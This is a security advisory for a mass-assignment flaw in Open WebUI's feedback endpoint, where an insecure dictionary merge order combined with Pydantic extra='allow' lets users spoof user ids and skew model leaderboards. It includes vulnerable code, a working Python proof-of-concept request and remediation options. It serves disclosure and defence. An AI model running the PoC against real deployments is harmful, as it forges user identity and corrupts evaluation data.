PT-2026-59397 · Pypi · Open-Webui

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

5.4

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation

Summary

The POST /api/v1/evaluations/feedback endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via FeedbackForm, which uses model config = ConfigDict(extra='allow'). Due to an insecure dictionary merge order in insert new feedback(), an authenticated attacker can inject a user id field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.

Details

The vulnerability exists in two layers:

1. Model Layer — Insecure Dict Merge Order

File: backend/open webui/models/feedbacks.py, lines 148–160
python
async def insert new feedback(
  self, user id: str, form data: FeedbackForm, db: Optional[AsyncSession] = None
) -> Optional[FeedbackModel]:
  async with get async db context(db) as db:
    id = str(uuid.uuid4())
    feedback = FeedbackModel(
      **{
        'id': id,
        'user id': user id,    # ← Server-set from auth token
        'version': 0,
        **form data.model dump(), # ← OVERWRITES 'id', 'user id', 'version'
        'created at': int(time.time()),
        'updated at': int(time.time()),
      }
    )
In Python, when a dictionary literal contains duplicate keys, the last value wins. Since **form data.model dump() appears after 'user id': user id, any user id field in the form data overwrites the authenticated user's ID.

2. Schema Layer — extra='allow' on Request Form

File: backend/open webui/models/feedbacks.py, line 106
python
class FeedbackForm(BaseModel):
  type: str
  data: Optional[RatingData] = None
  meta: Optional[dict] = None
  snapshot: Optional[SnapshotData] = None
  model config = ConfigDict(extra='allow') # ← Accepts arbitrary extra fields
The extra='allow' config means Pydantic will accept and preserve any extra fields in the request body, including user id, id, and version. These are then spread into the FeedbackModel constructor, overwriting server-set values.

Contrast with Secure Pattern

Other models in the same codebase use the correct ordering. For example, backend/open webui/models/functions.py, line 120:
python
function = FunctionModel(**{
  **form data.model dump(),  # ← Spread FIRST
  'user id': user id,     # ← Server value AFTER → always wins
})
And ModelForm at backend/open webui/models/models.py uses extra='ignore', which is the strictest approach.

Impact

1. User Identity Spoofing

An attacker can create feedback records attributed to any user by specifying their user id. The admin export endpoint (GET /api/v1/evaluations/feedbacks/export) and admin list (GET /api/v1/evaluations/feedbacks/all) will show the spoofed user id as the feedback author.

2. Model Evaluation Leaderboard Manipulation

The Elo rating system at backend/open webui/routers/evaluations.py computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:
  • Artificially inflate ratings for a specific model
  • Deflate ratings for competitor models
  • Make organizational model evaluation decisions unreliable

3. Record ID Control

By injecting a custom id, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.

PoC

python
import requests

BASE URL = "http://localhost:8080"

# 1. Login as attacker
session = requests.Session()
login resp = session.post(f"{BASE URL}/api/v1/auths/signin", json={
  "email": "attacker@example.com",
  "password": "attackerpass"
})
token = login resp.json()["token"]
headers = {"Authorization": f"Bearer {token}"}

# 2. Create feedback attributed to a different user (victim)
VICTIM USER ID = "12345678-aaaa-bbbb-cccc-000000000000"

resp = session.post(
  f"{BASE URL}/api/v1/evaluations/feedback",
  headers=headers,
  json={
    "type": "rating",
    "data": {
      "model id": "gpt-4o",
      "rating": 1,
      "sibling model ids": ["claude-3-opus"],
    },
    # Mass assignment: these extra fields are accepted due to extra='allow'
    # and overwrite server-set values due to dict merge order
    "user id": VICTIM USER ID, # Overwrites authenticated user ID
    "version": 999,       # Overwrites default version
  }
)

feedback = resp.json()
print(f"Feedback created with user id: {feedback['user id']}")
# Expected: attacker's own user id
# Actual: VICTIM USER ID (12345678-aaaa-bbbb-cccc-000000000000)
assert feedback["user id"] == VICTIM USER ID, "Mass assignment successful!"

Severity

CVSS 3.1: 5.4 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (any authenticated user)
  • User Interaction: None
  • Impact: Integrity (feedback data falsification) + limited Availability (leaderboard reliability)

Suggested Remediation

Option 1: Fix dict merge order (minimal fix)

python
feedback = FeedbackModel(
  **{
    **form data.model dump(),  # Spread FIRST
    'id': id,          # Server values AFTER (always win)
    'user id': user id,
    'version': 0,
    'created at': int(time.time()),
    'updated at': int(time.time()),
  }
)

Option 2: Remove extra='allow' from FeedbackForm (recommended)

python
class FeedbackForm(BaseModel):
  type: str
  data: Optional[RatingData] = None
  meta: Optional[dict] = None
  snapshot: Optional[SnapshotData] = None
  model config = ConfigDict(extra='ignore') # Reject unexpected fields

Option 3: Explicit field assignment (most secure)

python
feedback = FeedbackModel(
  id=str(uuid.uuid4()),
  user id=user id,
  version=0,
  type=form data.type,
  data=form data.data.model dump() if form data.data else {},
  meta=form data.meta or {},
  snapshot=form data.snapshot.model dump() if form data.snapshot else {},
  created at=int(time.time()),
  updated at=int(time.time()),
)

Affected Versions

  • v0.9.2 (current latest, confirmed vulnerable)
  • Likely all versions since feedback/evaluation feature was introduced

References

  • Prior advisory: "Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts" (patched in v0.9.0) — same root cause class, different endpoint

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-2756

Affected Products

Open-Webui